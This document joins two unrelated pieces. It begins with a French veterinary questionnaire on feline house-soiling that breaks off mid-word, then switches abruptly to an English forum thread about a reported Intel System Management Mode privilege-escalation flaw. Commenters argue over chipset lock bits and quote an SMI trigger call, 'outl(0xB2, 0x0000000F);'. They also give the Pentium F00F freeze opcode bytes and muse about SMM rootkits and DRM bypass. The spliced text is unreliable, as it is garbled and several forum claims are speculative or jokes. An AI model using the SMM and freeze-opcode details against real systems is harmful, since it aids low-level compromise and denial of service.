Afin de bien vous faire comprendre les étapes à franchir lors de ce type de consultation, voici une série de questions que l'on doit absolument demander au propriétaire du chat avant de pouvoir poser un bilan puis d'envisager des pistes de solutions. Car en fait, il existe trois formes de malpropreté: les souillures d'élimination, le marquage et l'incontinence. Le questionnaire ci-dessous et l'examen physique de l'animal nous permettront avant tout de les différencier et surtout d'éviter les fausses pistes. Par la suite seulement, nous serons en mesure de vous faire les recommandations qui s'impose.
1. Combien d'autres chats ou d'animaux avez-vous à la maison?
2. Quelle est la relation entre ces animaux?
3. Comment avez-vous identifié le coupable? Depuis quand et comment le problème a débuté?
4. A quelle fréquence le chat est malpropre? (quotidiennement, quelques fois par semaine, par mois)
5. Quels sont les trucs que vous avez utilisés pour changer cette mauvaise habitude (corrections, changement de litière, isolement, etc)?
6. Est-ce que vous avez déjà vu du sang dans l'urine de votre chat?
7. Quel type de nourriture mange votre chat?
8. A-t-il déjà souffert de cystite ou de problème urinaire?
9. Votre chat souffre-t-il parfois de diarrhée?
10. Votre chat souffre-t-il parfois de constipation?
11. Arrive-t-il parfois que du caca reste pris dans le poil près de l'anus?Combien d'animaux avez-vous à la maison?
12. Est-ce que votre chat et les autres sont stérilisés?
13. Dans quel ordre en avez-vous fait l'acquisition?
14. Combien avez-vous de bacs à litière par chat?
15. Avez-vous des bacs à litière avec couvert?
16. Quelle est la grandeur de leu

This guy shouldn't be allowed to write...

[Sebastopol]

...technical articles.

Where to begin.

First off, none of the low-power states C0->C4 stash to a system management RAM (yet). Second, the lower Cx states flush the cache, but they don't flush in response to heat, in that case they perform a Geyserville transaction which lowers frequency and voltage. Only if you exceed the thermal diode does it go tits-up. Now there's word it may save state in future Cx states, but I sincerely doubt anyone would be able to get inside the on-die ram, since it will sit behind control register busses. You might as well hack the ucode -- which hasn't been done in over 13 years of existence.

Getting back to the low-power C4 states, this is the same thing that occurs when HALT is executed. If someone has the technology to invade motherboard ram, or to invade the page table, then of course they can break this, but it is by NO MEANS TIED JUST TO INTEL CHIPS.

This idiot spouts off two paragraphs of something he barely understands, and then fills the rest with panicked-fluff.

Let's all move along. Nothing to see here.

Unsure About the Facts, but it sounds like..

[Anonymous Coward]

This could be combined with the recent OSX flaws to make a really hard to clean, nasty MacWorm.

More FUD~! :-)

-JP

What about the chipset?

[programmer-x]

This seems very short on detail and ignores a few key points.

Access to the System Management RAM is controled by the chipset. Generally there is a write once bit that when set prevents access to the RAM from normal operating mode. The BIOS loads SMM RAM, then sets this bit before booting the OS. So the only way an attacker could gain access to SMM RAM is to hack the BIOS or use hardware means (ICE).

As an example, the base SMM RAM lies 'under' VGA memory at 0xA0000. When SMM is entered the chipset routes accesses to DRAM instead of passing them to PCI and the video card.

It's a frustrating article

[Beryllium Sphere(tm)]

But it looks like there may be something real here.

The presentation lists events that will trigger a System Management Interrupt (SMI) and enter System Management Mode (SMM). Overheating is only one of them. Another is "century rollover". Taken literally, that would mean that anyone who could set the clock to 11:59 December 31 1999 [I'd say 2000 but I doubt the chip is mathematically correct] can enter SMM without needing physical access to the machine or to the circuit breaker for the air conditioning. Or to use the presentation's example, outl(0xB2, 0x0000000F);.

If I read this problem report correctly, then a process outside of SMM can write to the memory for SMM. (Controlled by the D_OPEN bit in the SMM control register).

So it looks like you can do it without physical access, where "it" is a privilege escalation that *starts* from root. That's getting less absurd all the time as virtualization and technologies like SELinux become more common. Also allows planting a deeper-than-root rootkit. You could escalate to God of Hardware or in the CanSecWest example to "root at securelevel -1".

Maybe I should email Duflot for details and write up something for my nerdish security blog

Re:It's a frustrating article

[mgv]

The presentation lists events that will trigger a System Management Interrupt (SMI) and enter System Management Mode (SMM). Overheating is only one of them. Another is "century rollover". Taken literally, that would mean that anyone who could set the clock to 11:59 December 31 1999 [I'd say 2000 but I doubt the chip is mathematically correct] can enter SMM without needing physical access to the machine or to the circuit breaker for the air conditioning. Or to use the presentation's example, outl(0xB2, 0x0000000F);.

If I read this problem report correctly, then a process outside of SMM can write to the memory for SMM. (Controlled by the D_OPEN bit in the SMM control register).

So it looks like you can do it without physical access, where "it" is a privilege escalation that *starts* from root. That's getting less absurd all the time as virtualization and technologies like SELinux become more common. Also allows planting a deeper-than-root rootkit. You could escalate to God of Hardware or in the CanSecWest example to "root at securelevel -1".

Lots of people say why do this as you already have physical access to the machine so its fundamentally insecure anyway.

I'm more interested if this system level access could intercept TPM/Trusted Computing decryption so that you could intercept an audio or video stream?

Would this level of access allow you to do this?

Michael

Concern

[ratboy666]

This vuln doesn't really mean much to general users. However, users who have Intel procs on secure cards (tamper resistant) should worry a bit. Generally, we try to control things on secure cards like thermal leakage (especially key bits).

However, if you attack the driver of a secure card at the same time as you are thermally stressing it, you may be able to take it over, extracting the key data without triggering the tamper evident seals.

Fortunately, security cards that I am familiar with do NOT use Intel processors.

But, as an attack on the "garden variety" home PC, this would be horrible overkill.

Ratboy

I am going to try this.

[el_jake]

I slowly remove my fan on my intel box to see if haxors are going to take over my machi/%"& (connection lost)

say what !?

[sarragorn]

say what ?!

ummm

[geekoid]

If you can get into the machine to change the fans, you probably don't need to overheat the system to gain control,becasue you already have control

Ha

[ls -la]

I knew there was a reason to use AMD64

Don't panik

[Anonymous Coward]

There is a D_LCK bit on most chipsets that prevents any software, including BIOS from changing SMM RAM (as the FTA states), unless the CPU is already in SMM mode.

So,
1. BIOS loads its SMM code into SMRAM
2. BIOS locks down SMRAM region (D_LCK bit=1)
3. No Profit for hackers!

This article is just FUD.

BBC Microcomputer

[ElephanTS]

On a similar tip, the old BBC ModelB Micro (I think it was the B) came with a NiCad battery as an option to keep the system clock running while not in use. It was considered very flash at the time but there was a serious problem. The recharging circuit was under software control and it was very simple to hack into the kernel and just tell the battery to charge permanently. If you do that to a NiCad sooner or later it either explodes or catches on fire which happened at least once I believe in the UK. Can't find any links about this now, I remember it from the time.

Its not about 0wnz1Ng, its about DRM!

[Anonymous Coward]

This would be a great vector to allow debugger-class access while a secure program is running. Think about it, a DRM protected program can do all it wants to prevent other programs poking around its memory space. Signed ring 0 device drivers are certified to not poke around in DRM protected software. This is another source of unsigned code that you can trigger whenever you like. Attacking the BIOS was the path to hacking the XBOX, and this could be the way into Vista-generation protection. Just think, you could modchip your own PC!

Overheat != burn

[phorm]

I didn't say burn, I said overheat. As the machine that reached 100c (boiling for water) was still in use up to last week when I upgraded, I'd say that it's a pretty hardy little chip...

It *did* definately start flaking out before I rebooted and found it at such a high-temperatures... so I doubt that long-term use at such temperatures would be good for any CPU, even AMD

SMM isn't ring 0, it's ring -1

[(Score.5, Interestin]

What the replies here (and I think the presentation to some extent) have missed is that SMM isn't ring 0, it's ring -1. In SMM you can do things that the processor hardware normally prevents, like creating invalid/illogical page table entries. Since SMM bypasses any hardware-enforced checks, you can set the processor up to do... surprising things. This security risk was AFAIK first discussed in http://www.amazon.com/gp/product/0387953876/sr=8-1 /qid=1144813279/ref=sr_1_1/102-2091912-1657751?_en coding=UTF8

Re:Better article: no FUD-OpenBSD demo-Theo commen

[alphamugwump]

Umm...

Interesting. If the universe was really just a program running on some sort of 'god machine' and you could get low-enough level access to the physics (the ability to tweak individual bits), and if the 'god machine' had a hardware vulnerability under specific conditions, maybe with a big enough explosion you could overflow something, gain 'ring -1' access, and re-write reality.

Just a thought...

F0 0F C7 C8-CF

[Myria]

Actually, the last byte can be any value from C8 to CF. The mnemonic for the F0 0F C7 C8 instruction would be "lock cmpxchg8b eax". Specifying any register as a parameter to cmpxchg8b is illegal, and it's the "lock" combined with the delayed illegal opcode exception that confuses the Pentium 1 into freezing. C8...CF specify that the parameter is one of the 8 main registers.

Melissa

Quantum physics - roundoff error?

[Myria]

Maybe the quantization of the universe and its accompanying randomness are caused by floating point roundoff error in the god machine?

Melissa

Not really an exploit

[Myria]

How are you able to any of those sequence of operations if you are not *already* executing as root or as ring 0? If you already have control of ring 0 and/or root, you can do what you want to the computer already. SMM doesn't get you anything special, except perhaps the ability to mess with internal processor states you can't normally (make writable code segments in protected mode, for example).

By the way, whenever the CPU does a memory read or write while in SMM, it asserts the SMM# pin. This means that the hardware is fully able to consider SMM RAM to be totally separate from the main memory space - but most implementations don't. In fact, SMM has an instruction called "umov" that allows SMM hypervisors to read/write the main memory space. (umov is equivalent to mov when not in SMM.)

If it's *really* a problem, change the motherboard, not the CPU. The motherboard can physically lock out the SMM memory space from even kernel programs if it so desires.

Melissa

FFS - There is Some Smart People Out There

[craznar]

I mean .... we should store all these people in big buidings, shove big hard problems in one end and see what comes out the other.

Stuff jail, send them to a big think tank, make em work for their crimes.

Diebold voting machines?

[friendswelcome]

> - The article states that all x86 processors "could" be vulnerable. Does that
> mean the *entire* series of Pentium chips, even the older PIII and PII's? If so,
> are they equally as easy to compromise as the modern versions?

If so, is the "Intel 386 EX" processor in Diebold voting machines vulnerable?

Vote early, vote often!